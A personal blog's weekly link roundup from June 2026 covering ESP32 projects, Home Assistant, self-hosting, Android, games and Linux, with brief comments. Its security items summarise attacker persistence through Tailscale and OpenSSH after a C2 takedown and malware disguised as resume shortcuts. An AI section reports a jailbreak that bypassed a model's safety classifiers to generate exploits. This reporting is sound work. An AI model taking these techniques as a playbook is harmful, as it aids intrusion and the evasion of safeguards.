1. ESP32 push-to-talk walkie-talkies: GitHub: [TechTalkies]((https://github.com/TechTalkies/) / [YouTube]((https://github.com/TechTalkies/YouTube/) 106_ESP32_Walkie
2. HEARD group safety mesh for hikers
  - GitHub: luciobaiocchi / heard: “Offline group-safety mesh for hikers: ESP32 + GPS + LoRa, with a firmware-in-the-loop simulator and 3D replay viewer” (Hiking Emergency Assistance and Rescue Device (HEARD))
3. A simulated aquarium on a Cheap Yellow Display: “The term Cheap Yellow Display, or CYD as it is often known, is used to describe a range of ESP32-embedded LCD touchscreens. It’s basically a microcontroller and display in one, saving you the hassle of having to source the two parts separately and wire them together.”
  - GitHub: Lagerpun / esp32-cyd-aquarium: “A self-running little pixel aquarium for the CYD / Cheap Yellow Display (ESP32-2432S028R)”
  - GitHub: livegrid / OpenMatrix: “Control HUB75 RGB Matrices with just an ESP32 Resources”
How-To Geek: 5 ESP32 mesh network projects to try this weekend (May 1 - 3)
1. The $5 Thread border router for Home Assistant: Home Assistant Community: Make your own Thread Border Router for just $5
  - How-To Geek: 6 new IKEA Matter over Thread smart home gadgets that are worth the money
2. Matter over Thread air quality sensor
  - GitHub: olavt / matter-air-quality-esp32: “This article shows how to build a Matter Air Quality sensor with an ESP32-C6-DEVKITC-1-N8 Dev Kit board and a Sensirion SEN66 air quality sensor. The Sensirion SEN66 sensor connects to the ESP32 using I2C and supports measuring Particulate Matter (PM1, PM2.5, PM4, PM10), Relative Humidity, Temperature, Volatile Organic Compound, NOx (nitrogen oxides) and CO2.”
  - How-To Feek: 5 ESP32-powered 3D printing projects to try this weekend (Mar 27 - 29)
    1. Project Aura professional air quality monitor
    2. ESPTimeCast LED matrix clock
    3. Lumon Industries Bluetooth speaker
    4. Papaya Pathfinder lunar rover
    5. ESP32 Game and Watch
3. The Zigbee macropad
  - GitHub: StaRky33 / ZigbeeMacropad: “This is a custom made Zigbee Macropad made with CherryMX switches and an ESP32C6 (nanoESP32-C6-N8)”
  - /r/ESP32: I built the V2 of a DIY Zigbee Macropad (remote) with ESP32-C6
4. ESP32 Meshtastic node
  - Adrelien: Meshtastic DIY - How To Build Your Own Meshtastic Node ESP32 & Lora Radio
5. ESP-NOW remote control car
  - Instructables: Build a DIY 10-Channel ESP32 RC Controller With ESP-NOW (Low Latency Wireless)
How-To Geek: 3 more Docker containers I can’t work without
1. Linkwarden: “Linkwarden helps you collect, read, annotate, and fully preserve what matters, all in one place.”
  - I feel like i have used this before, but not sure why i didn’t stick with it. Right now i’m running Karakeep & have been very happy with that. This might be something i try when I’m a bit bored.
2. Stirling-PDF: GitHub: Stirling-Tools / Stirling-PDF: “#1 PDF Application on GitHub that lets you edit PDFs on any device anywhere”
3. Uptime Kuma: “Uptime Kuma is an open-source, free and easy-to-use self-hosted monitoring tool. Uptime Kuma is compatible with multiple platforms including Linux, Windows 10 (x64) and Windows Server.”
How-To Geek: I finally added my PS5 and Xbox to Home Assistant (it was totally worth it)
- It’s been a little while since i’ve used my PS5 so i may not even take too long to look at this, but good to know there’s an option if i want it.
Make Use Of: A $5 board turned my dumb lamp into a smart one
- This might be a little beyond what i would want to do for any smart lamps, but i figure it’s worth a save for the future.
How-To Geek: I can’t look at old hardware the same way since I started self-hosting everything
- The writer mentions starting with a broken laptop (missing the screen), an old PC tower, & an Android TV device. I’ve definitely looked at some of my older hardware over the years to see if i could repurpose it for any self-hosting needs.
How-To Geek: These are the 7 most useful resources every Home Assistant user should know about
1. The official Home Assistant documentation: Home Assistant: Documentation
2. The Home Assistant Community forum: Home Assistant Community
3. The Blueprints Exchange: Home Assistant: Blueprints Exchange
4. The r/homeassistant subreddit: /r/HomeAssistant
5. The Home Assistant Community Store: HACS: “The Home Assistant Community Store (HACS) is a custom integration that provides a UI to manage custom elements in Home Assistant.”
6. The Awesome Home Assistant list: Awesome Home Assistant
7. ESPHome: “Turn your ESP32, ESP8266, BK72xx, RP2040, and other supported boards into powerful smart home devices with simple YAML configuration.”
How-To Geek: This Home Assistant integration does things the developers never intended (and it’s genius)
- Spook: Installing Spook in Home Assistant
How-To Geek: 7 smart home automations that work better with NFC tags than motion sensors or schedules
1. Logging things that don’t happen on a schedule
2. Triggering things that motion sensors can’t cover reliably
3. Avoiding false triggers from pets or other movement
4. Automations that need to run when you’re sitting still
5. Confirming that you did something
6. Automations that need to know who triggered them
7. Limiting automations to specific devices
How-To Geek: This free Home Assistant upgrade made my smart home feel futuristic: “Settings > Devices & Services and then search for either OpenAI for ChatGPT, or Google Gemini”
Make Use Of: I run three self-hosted apps on a $35 Raspberry Pi and they never skip a beat
1. [Pi-hole(https://pi-hole.net/): “Network-wide Ad Blocking”
2. Vaultwarden: GitHub: dani-garcia / vaultwarden: “Unofficial Bitwarden compatible server written in Rust, formerly known as bitwarden_rs”
3. [Uptime Kuma(https://uptimekuma.org/): “Uptime Kuma is an open-source, free and easy-to-use self-hosted monitoring tool. Uptime Kuma is compatible with multiple platforms including Linux, Windows 10 (x64) and Windows Server.”
IT’S FOSS: PINE64’s Smart Speaker is a Home Assistant Powered Alternative to Amazon Echo
- PINE64: PineVoice Smart Speaker: Community price: USD$49.99
How-To Geek: 3 Home Assistant hardware projects to try this weekend (June 26-28)
1. “Make your wall-mounted dashboard detachable”
2. “Build a home intercom system using ESPHome”
3. “Automate your standing desk”
How-To Geek: [3 homelab tools that finally simplified my self-hosting setup (June 19 - 21)]((https://www.howtogeek.com/homelab-tools-simplified-my-self-hosting-setup-june-19-21/)
- Homebox: “A simple home inventory management software”
- Authelia or Tinyauth
  - Authelia: “Authelia is an open-source authentication and authorization server and portal fulfilling the identity and access management (IAM) role of information security in providing multi-factor authentication and single sign-on (SSO) for your applications via a web portal. Authelia is an OpenID Connect 1.0 Provider which is OpenID Certified™ allowing comprehensive integrations, and acts as a companion for common reverse proxies.”
  - Tinyauth: “Tinyauth is a tiny OpenID Connect (OIDC) authentication and authorization server for your self-hosted applications.”
- Caddy: “By default, Caddy automatically obtains and renews TLS certificates for all your sites.”
GitHub: yakushstanislav / UltraViolet: “Self-hosted network discovery & search — your own Shodan, on your hardware.”
- Since I’m trying to find a replacement for NetAlertX & WatchYourLAN, i can try this alongside OOTT.
How-To Geek: I moved these 4 services off my home server to the cloud, and I’ll never move them back
1. Password Manager
2. Notes
3. Search Engine
4. VPN
- The only thing from above that i’m not running is a search engine, but i have thought about looking into some of them. I purposely run these things locally because I don’t want

w33k in g33k: June 19, 2026

Fri, 19 Jun 2026 14:42:00 -0400

👎🏻 Adulting

A Beautiful Mess: Roy Rogers Drink: “The Roy Rogers mocktail is a non-alcoholic mixed drink that tastes like a cherry coke.”
- Cola – I used Coca-Cola since it’s classic and so delicious. You can also choose a sugar free or organic cola if you like.
- Grenadine Syrup – You can buy grenadine syrup at many stores, and we also have an easy recipe to make your own grenadine (it’s a syrup made with pomegranate juice that is a bright red color).
- Maraschino Cherry – A must! Use one or a few.
- Ice Cubes Pebble or crushed ice is perfect if you have it.

🤖 Android

How-To Geek: I finally found an open-source camera app that can match the Pixel camera
- GitHub: eszdman / PhotonCamera: “Android Camera that uses Enhanced image processing”
How-To Geek: 4 powerful free and open-source Android apps you definitely haven’t heard of
1. Lotus: “Music player designed with Material You”
2. PhotonCamera: “Open-source Android camera application focused on static photography”
3. Aves Gallery: “Aves is a gallery and metadata explorer app, built for Android with Flutter.”
4. Grit: “Unlock your potential with Grit: your go-to daily habit tracker and goal planner designed for real-life achievements. Start transforming your routines today.”

🖥️🍎 Apple

Alfie CG: Getting untethered code execution on iOS 14.8: Obviously this is a bit old, but i was still curious to read about it.
- “Using the CoreTrust bug (CVE-2022-26766) from Linus Henze, originally utilised by TrollStore 1.x, it is possible to get unsandboxed and untethered code execution on iOS 14. In this post, I will describe how I managed to achieve this on my iPad running iOS 14.8.”
Alfie CG: A comprehensive write-up of the checkm8 BootROM exploit: As above, this is old, but i’m interested in reading about it.
Alfie CG: A step-by-step guide to writing an iOS kernel exploit: For Fun ™
Cult of Mac: How I tweaked my fitness app Reps & Sets using Apple’s latest tools
- I wanted to read this because Graham mentioned vibe coding the app & wanted to see how it looked.
- App Store for iPhone: Reps & Sets 26
Macworld: This GitHub project saves your AirPort Time Capsule from the grave
- GitHub: jamesyc / TimeCapsuleSMB: “Hacking the Apple Time Capsule to run modern Samba”
Techlore: Permission Not Required: The Open Source iOS App that Makes the Invisible Visible (Loupe Review)
- Techlore.TV: Permission Not Required: The Open Source App that Makes the Invisible Visible (Loupe Revie
- App Store for iPhone: Loupe: What Apps Can See

🤖 Artificial Intelligence \ Large Language Models

Medium: Pudding Entertainment: Running Local LLMs on Raspberry Pi 5 and Hailo AI HAT+ 2
- I wanted to try & get my Raspberry Pi 5 with AI HAT 2 setup again to actually do something… so i was just looking for some setup guides.
- I was also looking at an iOS app i had from a while back that i did have connected to a local Ollama server… GitHub: gluonfield / enchanted: “Enchanted is iOS and macOS app for chatting with private self hosted language models such as Llama2, Mistral or Vicuna using Ollama.”
- Problem with the above app is it’s not taking the URL that works from a browser (although since I’m using the AI HAT, it says “hailo-ollama is running”, so I’m not sure if the app is expecting it to just be “ollama is running”) & that’s why it fails.

🌎 Current Events

🎥📺 Entertainment

🎮 Games

Kotaku: The Kingdom Hearts Games, Ranked From Worst To Best
https://tinywind.io/
Garrit’s Notes: Pac-Man, but you’re the ghost
- Pac-Hunt: “you’re the ghost — corner Pac‑Man before he clears the maze”
phoronix: ReactOS “Open-Source Windows” Reaches The Milestone Of Being Able To Run Half-Life
- ReactOS: “Imagine running your favorite Windows applications and drivers in an open-source environment you can trust. That’s the mission of ReactOS!”
XDA Developers: GoldenEye 007’s canceled Xbox 360 remaster is finally playable on PC thanks to a new recompilation
- GitHub: SunJaycy / GoldenEye-Recomp: “A native PC recompilation of the Xbox 360 version of GoldenEye 007.”
- I think there’s some drama around this because AI was used?
- Tom’s Hardware: Cancelled Xbox 360 version of GoldenEye 007 gets recompiled for PC — ‘No emulator, the game runs as a real native executable,’ insists dev
Hack A Day: Nintendo DS Port Of Super Mario 64 Released With Multiplayer Support
- GitHub: TobiasFriedly/sm64-nds: “A Modification of the DSi port from Hydr8gon: https://github.com/Hydr8gon/sm64 Making it work on all NDS Models. Also added Multiplayer.”
- GitHub: Hydr8gon / sm64: “This is a port of the Super Mario 64 decompilation project for the Nintendo DSi. It is the original N64 game, and not the DS remake. It features rendering and audio code written specifically for the hardware in order to achieve good performance. The DSi’s higher CPU speed and larger RAM are required, so original DS models are unsupported.”
- GitHub: n64decomp / sm64: “A Super Mario 64 decompilation, brought to you by a bunch of clever folks.”
I didn’t know the group who did the above with Super Mario 64 also decompiled other Nintendo 64 games:
- GitHub: n64decomp / mk64: “A speedy Mario Kart 64 decompilation, brought to you by the cousin of a tame racing driver.”
- GitHub: : “A decompilation of Banjo Kazooie. (MIRROR of https://gitlab.com/banjo.decomp/banjo-kazooie)"
- GitHub: : “A decompilation of Goldeneye 007 brought to you by a bunch of clever folks. (MIRROR of https://gitlab.com/kholdfuzion/goldeneye_src)"
- GitHub: : “A decompilation of Perfect Dark. (MIRROR of https://gitlab.com/ryandwyer/perfect-dark)"
- GitHub: : “A decompilation of The Legend of Zelda: Majora’s Mask brought to you by a bunch of clever folks. This is an old repo, active development has moved to https://github.com/zeldaret/mm"
  - GitHub: : “Decompilation of The Legend of Zelda: Majora’s Mask”
- GitHub: : “Decompilation of The Legend of Zelda: Spirit Tracks”
- GitHub: : “Decompilation of The Legend of Zelda: The Wind Waker”
- GitHub: : “Decompilation of The Legend of Zelda: Breath of the Wild (Switch 1.5.0)”
- GitHub: : “Decompilation of The Legend of Zelda: Ocarina of Time”
- https://github.com/zeldaret/ss “Decompilation of The Legend of Zelda: Skyward Sword”
- https://github.com/zeldaret/mm “Decompilation of The Legend of Zelda: Majora’s Mask”
- https://github.com/zeldaret/ph “Decompilation of The Legend of Zelda: Phantom Hourglass”
- https://github.com/zeldaret/tp “Decompilation of The Legend of Zelda: Twilight Princess”
- https://github.com/zeldaret/tmc “Decompilation of The Legend of Zelda: The Minish Cap (USA/JP/EU)”
- https://github.com/zeldaret/oot-vc: “Decompilation of the Wii Virtual Console Emulator for Ocarina of Time (JP)”
- https://github.com/zeldaret/af “Decompilation of Animal Forest”
  - “This is a work-in-progress decompilation project for the Nintendo 64 game Animal Forest, also known as どうぶつの森 (Doubutsu no Mori). There is a decompilation project for the GameCube versions (Animal Crossing, etc.) here.”
  - https://github.com/ACreTeam/ac-decomp: “Decompilation in progress of Animal Crossing for the Nintendo GameCube.”
  - https://github.com/ACreTeam/afe-decomp: “Decompilation of Animal Forest e+ (JP)”
  - https://github.com/ACreTeam/forest: “PC Port of Animal Crossing”
- https://github.com/zeldaret/oot-gc: “Decompilation of the Gamecube Emulator for Ocarina of Time (JP-CE)”
- https://github.com/zeldaret/oot3d: “Decompilation of The Legend of Zelda: Ocarina of Time 3D”
- https://github.com/n64decomp/oot: “A decompilation of Ocarina of Time: Master Quest (debug) brought to you by a bunch of clever folks. This is an old repo. Active development has moved to https://github.com/zeldaret/oot"
  - https://github.com/zeldaret/oot: “Decompilation of The Legend of Zelda: Ocarina of Time”

⚕️ Health

🏡 Home (Homelab \ Self-Hosted)

How-To Geek: Tagging music for Jellyfin was a headache until I found this free open-source app: MusicBrainz Picard: “Picard is a cross-platform music tagger powered by the MusicBrainz database.”
Make Use Of: 6 Docker containers/packages I install on every server before anything else
1. Watchtower: “A solution for automating Docker container image updates”
2. Caddy: “By default, Caddy automatically obtains and renews TLS certificates for all your sites.”
3. Netdata: “Zero-config observability with an on-call AI partner. Per-second metrics that stay on-prem; Netdata AI investigates, explains root cause, and guides fixes in plain English.”
4. Dozzle: “Real-time Docker logs, stats, and debugging — in your browser.”
5. Vaultwarden: “Unofficial Bitwarden compatible server written in Rust, formerly known as bitwarden_rs”
6. Portainer CE: “Operational control for Kubernetes, Docker, and Podman; without the specialist overhead.”
How-To Geek: Home Assistant’s hidden AI image generator is way more useful than it sounds: “The reason that you may not have stumbled across the image generation in Home Assistant is that it’s part of a building block integration. The AI Task integration can’t be directly added to your Home Assistant instance like standard integrations; it’s a tool made available for other integrations to use.”
How-To Geek: These are the 7 best Home Assistant custom integrations—according to the community
1. Xiaomi MIoT and Xiaomi Gateway 3
  - GitHub: al-one / hass-xiaomi-miot: “Automatic integrate all Xiaomi devices to HomeAssistant via miot-spec, support Wi-Fi, BLE, ZigBee devices. 小米米家智能家居设备接入Hass集成”
  - GitHub: AlexxIT / XiaomiGateway3: “Home Assistant custom component for control Xiaomi Multimode Gateway (aka Gateway 3), Xiaomi Multimode Gateway 2, Aqara Hub E1 on default firmwares over LAN”
2. LocalTuya: GitHub: rospogrigio / localtuya: “local handling for Tuya devices”
3. Adaptive Lighting: GitHub: basnijholt / adaptive-lighting: “Adaptive Lighting custom component for Home Assistant”
4. Sonoff LAN: GitHub: AlexxIT / SonoffLAN: “Control Sonoff Devices with eWeLink (original) firmware over LAN and/or Cloud from Home Assistant”
5. SmartIR: “Using an IR blaster, you can use the SmartIR integration to send out the same commands that your remote would send, so you can turn on your AC or power off your TV directly from Home Assistant.”
6. Alarmo: GitHub: nielsfaber / alarmo: “Easy to use alarm system integration for Home Assistant”
7. WebRTC Camera: GitHub: AlexxIT / WebRTC: “Home Assistant custom component for real-time viewing of almost any camera stream using WebRTC and other technologies.”
8. Alexa Media Player: “Alexa Media Player integrates them into Home Assistant as media players so that you can use them for things such as making announcements around your home or for audible notifications.”
How-To Geek: Windows vs. Linux: Here’s which one is better for self-hosted apps
- No surprise here… “Linux is practically designed to be a server”
- “The self-hosting world is built around Linux”
- “Even Docker on Windows runs Linux”
How-To Geek: We ditched Google Photos, Plex, and Chrome for these polished open-source alternatives
- Zen Browser: “Zen is packed with features that help you stay productive and focused. Browsers should be tools that help you get things done, not distractions that keep you from your work.”
- Immich: “Self-hosted photo and video management solution. Easily back up, organize, and manage your photos on your own server. Immich helps you browse, search and organize your photos and videos with ease, without sacrificing your privacy.”
- Jellyfin: “The Free Software Media System. Jellyfin is the volunteer-built media solution that puts you in control of your media. Stream to any device from your own server, with no strings attached. Your media, your server, your way.”
- These were the three services i expected to be listed here.
How-To Geek: I replaced these 3 subscriptions with a Raspberry Pi and never looked back
- Joplin: “Joplin is an open source note-taking app. Capture your thoughts and securely access them from any device.”
  - I’ve been running Joplin for a while now & it has been great. I’m running my own “server” for syncing: Docker Hub: joplin / server
- Navidrome: “Your Personal Streaming Service”
  - I just got Navidrome setup at home for fun. I mainly use Apple Music, but now I’ll have the option of Navidrome alongside Plex (ew) & Jellyfin =]
- Vaultwarden: GitHub: dani-garcia / vaultwarden: “Unofficial Bitwarden compatible server written in Rust, formerly known as bitwarden_rs”
Make Use Of: Pocket is gone but the free replacement I found does things Pocket never could

🖥️🔐 IT Security

RogueSecurity: End-to-End Encrypted Chat that YOU Control: Hosting XMPP (Jabber) with Prosody
Steen’s Burrow: Hacking on the reMarkable 2: “The reMarkable is a computer like any other, so I believe that since I bought it, I own it, and I should be able to run whatever software I want on it. On this front I have to give credit where it’s due. reMarkable the company could’ve easily locked the device down to get you to pay for its subscription and buy new iterations of the device when they end support for the old ones, but if you go into the Settings > Help > Copyright and licenses menu you’ll find a paragraph explaining that to comply with the GPLv3 the end user should be able to modify the software that’s running on the device, and below that a short explaination on how to SSH into the reMarkable as root.”
- “At first glance the reMarkable has an active homebrew software ecosystem too. There’s a community-maintained wiki with guides on how to install toltec (a package manager) and developing software for the device. After I unpacked the tablet I was eager to get Toltec running and install some software, but…” Toltec only supports specific versions of the OS. But it looks like Vellum replaces it: “⚠️ Use Vellum instead ⚠️ It’s recommended to switch to using Vellum instead of using toltec at this point. Vellum supports the latest OS versions and is more actively maintained.”
- reMarkable Guide
- reMarkable Guide: Installing Software
Make Use Of: I scanned my home network and found three devices I didn’t recognize — one was a security nightmare
- Play Store: Fing - Network Tools
- Fing Agent: “Fing Agent runs on Raspberry Pi, Docker, or Linux devices to give you continuous visibility into your home or office network - always in sync with your Fing Account.”
  - I’m seeing on the same page that it “Needs an active Fing subscription”… so sounds like i can’t just use it locally?
The Hacker News: Junior Hacker Used Tailscale and OpenSSH to Keep Access After His C2 Went Offline: “Before his command-and-control server went dark, he installed OpenSSH and Tailscale on a victim’s machine, building a way back in that did not run through the C2 at all. When the Havoc server went offline the next day, his access did not. Eighteen days later, the C2 came back, his agents reconnected on their own, and he carried on.”
- Cato Networks: Cato CTRL™ Threat Research: Operation Poisson – Analyzing a Cybercriminal’s Entire Operation: “Cato CTRL recently analyzed an operator’s command-and-control (C2) server’s entire 33 days operation, including the steps he took to preserve access after the takedown. 339 commands. Four French victims. Between March 30 and May 1, 2026, Cato CTRL studied every command issued by a French-speaking threat actor (“Poisson”) against one French automotive small business and four French individuals. With that insight, we can say with certainty, not as a prediction, that techniques like VPN-mesh-based-persistence are already in active use right now, and that taking down a C2 server is no longer sufficient for remediation.”
ASEC: It looks like a normal resume, but the infection begins the moment it is opened.: “Malicious shortcut files disguised as resume files have recently been circulating, requiring corporate users to exercise caution. Threat actors name the files to resemble resume documents containing company names and job titles, and when executed, they display a legitimate decoy file alongside the malicious file to lower the user’s suspicion. The file then downloads additional malicious files and attempts to execute backdoor malware, establishing persistence through methods such as registering with the Task Scheduler, adding items to the Startup folder, and DLL side-loading. In particular, since document files disguised as resumes can be easily opened in a work environment, security personnel and employees must exercise caution when reviewing them. Let’s examine the key characteristics and countermeasures for malicious LNK files currently being distributed while disguised as resume files.”

🐧 Linux

machine0: “Persistent VMs from the CLI. Persistent NixOS & Ubuntu VMs, tools pre-installed. Dedicated CPU/RAM, static IPs & per-minute billing.”
IT’S FOSS: Flipper One is a Pocket-sized Linux Cyberdeck
How-To Geek: Ubuntu won’t save your old PC, but these 4 lightweight Linux distros will
1. Puppy Linux: “Puppy Linux is a unique family of Linux distributions meant for the home-user computers. It was originally created by Barry Kauler in 2003.”
2. antiX: “antiX is a fast, lightweight and easy to install systemd-free and elogind-free linux live CD distribution based on Debian Stable for Intel-AMD x86 compatible systems. antiX offers users the “antiX Magic” in an environment suitable for old and new computers. So don’t throw away that old computer yet!”
3. Linux Lite: “Simple, Fast, and User-Friendly Linux. Linux Lite is a lightweight, user-friendly Linux distribution that brings the power of Linux to everyone. Perfect for older hardware and new users alike.”
4. Bodhi Linux: “Bodhi Linux is an operating system designed for those who value inner clarity and personal empowerment. Installing Bodhi isn’t just about setting up an OS—it’s a commitment to a mindful approach that seamlessly integrates technology into a purposeful life. By choosing Bodhi, you become part of a community that values individuality, innovation, and a refusal to settle for the status quo. It’s more than just software—it’s a statement. Unlock your potential with secure, reliable open-source technology.”
Steen’s Burrow: NixOps is easier than I thought: “TL;DR: if you have an underpowered machine or two in your house or a small server that you’re already managing using NixOS, and you find that running nixos-rebuild on it takes too long, you can easily keep your current configuration untouched and let a more beefy machine build it. Jump to the end of this post for a sample NixOps specification and instructions on how to use it.”
Tymscar: Public Dotfiles, Private Secrets: My Nix OS Docker Workflow
- GitHub: tymscar / dotfiles: “A collection of the dotfiles I use”
- GitHub: ryantm / agenix: “age-encrypted secrets for NixOS and Home manager”
Steen’s Burrow: My Immich setup feat. NixOS: “Setting up Immich on NixOS …is really easy. On the Lobste.rs thread of the announcement, Michael stapelberg commented that it’s as easy as adding this snippet to your NixOS config:”

```nix { services.immich = { enable = true; host = “photos.example.ts.net”; }; } ```

w33k in g33k: June 12, 2026

Fri, 12 Jun 2026 17:00:00 -0400

🤖 Android

How-To Geek: Forget the official Jellyfin app—these 5 Android clients are what you actually need
1. GitHub: DonutWare / Fladder: “Fladder - A cross-platform Jellyfin Frontend built on top of Flutter.”
2. GitHub: damontecres / Wholphin: “An OSS Android TV client for Jellyfin”
3. GitHub: UnicornsOnLSD / Finamp: “A Jellyfin music client for mobile”
4. GitHub: jarnedemeulemeester / Findroid: “Third-party native Jellyfin Android app”
5. GitHub: Moonfin: “Moonfin is a collection of enhanced Jellyfin and Emby client applications that build upon the excellent foundation of the official Jellyfin project. We focus on delivering refined user experiences, improved UI/UX, and platform-specific optimizations while maintaining full compatibility with Jellyfin and Emby servers.”
GrapheneOS Discussion Forum: GrapheneOS user reported to authorities for using GrapheneOS
Android Authority: Forget Niagara and Nova, this minimalist launcher is my new favorite for old Android hardware
- GitHub: rama-io / mako: “Minimal, privacy-first Android launcher designed for focus, speed, and simplicity.”
- Web Site: Rama: “Small, focused Android apps built for speed and simplicity. No bloat, no tracking, no nonsense, just software that works.”
Make Use Of: I replaced 6 official Android apps with open-source alternatives — they’re all much better
1. Gboard for Heliboard: “Customizable open-source keyboard”
2. Chrome for Firefox (Fennec)
3. Google Photos for Ente: “Backup, Organise, Share - Private photo storage with end-to-end encryption”
4. Google Keep for Joplin: “A note taking and to-do app with sync between Linux, macOS, Windows, and mobile”
5. Google Calendar for Fossify Calendar: “Securely plan, schedule, and set reminders with our private calendar app.”
6. Files by Google for Material Files: “Open source Material Design file manager”

🖥️🍎 Apple

Kyle Howells: How to Setup a Local Coding Agent on macOS

🤖 Artificial Intelligence \ Large Language Models

How-To Geek: I switched from LM Studio to llama.cpp, and I’m never going back to a bloated wrapper
- GitHub: ggml-org / llama.cpp: “LLM inference in C/C++”
- Web Site: llama.app: “AI that lives on your computer. Open-source, private, always local. Run frontier AI entirely on your machine. No API keys, no telemetry, no limits. Take AI back.”
GitHub: convictional / souls-only: “A font for humans not AI and keyboard firmware to type in it.”
Android Authority: 5 apps you should use instead of NotebookLM
1. Notion: “Notion agents keep work moving 24/7. They capture knowledge, answer questions, and push projects forward—all while you sleep.”
2. Obsidian: “Obsidian stores notes privately on your device, so you can access them quickly, even offline. No one else can read them, not even us.”
3. Recall AI: “The API to get transcripts, recordings, and metadata from meetings.”
4. Atlas: “You didn’t spend years studying just to copy-paste and fix formatting. No copy-paste. No reformatting. No tab-switching. Just select what matters — your notes build themselves on the same screen.”
5. OpenNotebook: “Take Control of Your Learning. Privately. A powerful open-source, AI-powered note-taking/research platform that respects your privacy”
  - GitHub: lfnovo / open-notebook: “An Open Source implementation of Notebook LM with more flexibility and features”
Claude Fable 5 Jailbreak: I kind of thought this was going to happen…
- CyberPress: Claude Fable 5 Jailbreak Enables Stack Exploit Generation: “Prolific AI jailbreaker Pliny the Liberator (online handle: elder_plinius) announced a successful bypass of Fable 5’s safety classifiers shortly after the model’s release, declaring: “ANTHROPIC: PWNED — FABLE-5: LIBERATED.””
- Undercode Testing: AI Security at a Crossroads: Unpacking the Claude Fable 5 Jailbreak and Its Implications + Video
How-To Geek: Don’t upload your sensitive files to AI services: 4 free open-source tools that work completely offline
1. Handy: “A free, open source, and extensible speech-to-text application that works completely offline.”
  - Web Site: handy: “speak into any text field. the free and open source app for speech to text”
2. Rembg: “Rembg is a tool to remove images background”
3. Upscayl: “Upscayl uses the power of AI to upscale your images with the best quality possible.”
4. Mozilla’s local AI: Ars Technica: Mozilla launches Thunderbolt AI client with focus on self-hosted infrastructure
  - curl -LO https://huggingface.co/mozilla-ai/llamafile_0.10/resolve/main/Qwen3.5-0.8B-Q8_0.llamafile

🎮 Games

HateArena: “HateArena is a (very) fast paced multiplayer and singleplayer arena shooter”
pokeemerald-wasm
- GitHub: tripplyons / pokeemerald-wasm: “Pokemon Emerald in WebAssembly”
- “pokeemerald-wasm is a recompilation of the original pret/pokeemerald decompilation to WebAssembly, with a browser frontend for running Pokémon Emerald on the web.”
Engadget: Super Yooka-Laylee Kart looks like an old-school Mario Kart for the modern age
Pirates: Naval Combat GitHub: piwodlaiwo / pirates: “Pirates: Naval Combat game using HTML5 and JavaScript” “A top-down naval combat game for the browser, inspired by the ship battles in Sid Meier’s Pirates!. Built with HTML5 Canvas and TypeScript — no game framework, no backend, the whole game runs in the front end.”

⚕️ Health

Science: Home alone: Remote work, isolation, and mental health

🏡 Home (Homelab \ Self-Hosted)

Make Use Of: I built a smart home dashboard for $5 and deleted three smart home apps: “Paired with the ESP32 was a simple 1.13-inch SH1106 OLED display and three tactile push buttons. If you’re shopping on AliExpress, the total component cost comes down to just under $5. Even if you were to buy all this off of Amazon or your local electronics store, I doubt you’ll be spending significantly more.”
- Make Use Of: I wasted money on the wrong ESP board because nobody explained this upfront
Make Use Of: 3 ways to monitor your appliances with an ESP32 (no smart plugs needed)
1. CT Clamps: “CT clamps turn any appliance into a real-time energy monitor”
  - AliExpress: SCT-013-000 variant
2. Vibration Sensors: “If all you need to know is whether an appliance is running or not, a vibration sensor is actually quite a capable solution. Appliances like your washing machine, dishwasher, HVAC unit, and many more produce subtle vibrations when they’re running and sit stably when they’re not. That difference can be used to determine whether they’re active.”
  - AliExpress: ADXL345 three-axis MEMS accelerometer
3. LDR Sensors: “You can connect a light-dependent resistor (also known as a photoresistor) to your ESP32, point at an appliance’s status LED, and your ESP32 can tell whether that LED is on or off. This is a bit of a crude solution and requires the appliance to have proper LED status indication, but it works surprisingly well, especially considering photoresistors can cost under a dollar.”
How-To Geek: Stop checking your homelab dashboard: This self-hosted alert server does the work for you
- Gotify: “a simple server for sending and receiving messages”
How-To Geek: I built a self-hosted Navidrome server to replace Spotify, and it works better than I expected
- Navidrome: “Navidrome allows you to enjoy your music collection from anywhere, by making it available through a modern Web UI and through a wide range of third-party compatible mobile apps, for both iOS and Android devices.”
How-To Geek: Time-saving Home Assistant projects to try this weekend (Jun 5 - 7)
- IR remotes into Home Assistant controls: “Home Assistant recently added native support for infrared. This means that with the right hardware and supported integrations, you can control devices that use infrared remotes directly from Home Assistant. While this is a very welcome addition to Home Assistant, the features are still in their infancy, and capturing, organizing, and using IR commands is a fairly laborious and complex process.”
  - How-To Geek: There’s never been a better time to add infrared to your Home Assistant server
  - GitHub: DAB-LABS / HAIR: “IR device admin panel for Home Assistant. Learn signals, assign to devices, create triggers, all from the GUI. Built on HA 2026.4+ infrared platform. ESPHome and Broadlink compatible.”
- Sports Scores Dashboard
  - How-To Geek: This is the one big mistake I see on almost every Home Assistant dashboard
- Clean up broken entity references: “Lost Entity Finder is a custom component you can download from HACS that takes the hard work off your hands. When you change an entity ID, it will find instances throughout Home Assistant where the old ID is being used and raise a repair with direct links to each location. The beauty is that you can choose to auto-replace all of the old entity IDs in bulk or opt to ignore all the repairs if you prefer.”
How-To Geek: 6 must-have Home Assistant apps (add-ons) I can’t live without
1. []HACS](https://hacs.xyz/): “The Home Assistant Community Store (HACS) is a custom integration that provides a UI to manage custom elements in Home Assistant.”
2. Whisper & Piper
  - The Home Smart Home: Elevating Voice Control and Smart Home Experience: “Whisper is an open-source speech-to-text (STT) system that Home Assistant uses to transcribe your voice commands into text locally. Piper is a fast, efficient text-to-speech (TTS) engine that Home Assistant uses to generate audible responses, also processed entirely on your local network. Together, they enable private and responsive voice control.”
3. openWakeWord: GitHun: dscripka / openWakeWord: “An open-source audio wake word (or phrase) detection framework with a focus on performance and simplicity.”
4. Samba Share: Tech HBS: How to Access Your Home Assistant files via Network Share
5. File Editor: GitHub: File Editor README.md: “Browser-based configuration file editor for Home Assistant.”
6. ESPHome Device Builder: ESPHome: Getting Started with ESPHome and Home Assistant
How-To Geek: Your smart home needs more of these 3 sensors, not bulbs or switches
- Presence sensors: How-To Geek: This is the best Home Assistant project you can do in an hour
- Lux sensors: " Another problem with using a simple automation that turns on the light when motion is detected by a motion sensor is that it will work at any time, night or day. In the evening, when the room is dark, having the light turn on when you walk in is ideal. In the daytime, when the room is full of sunlight, turning on the light is unnecessary. That’s where a lux sensor can help. A lux sensor measures light levels, and you can use this to ensure that your lights only turn on when it’s dark enough to warrant it. You can add a simple condition to your automation that will only turn the lights on when the light level is below a certain threshold."
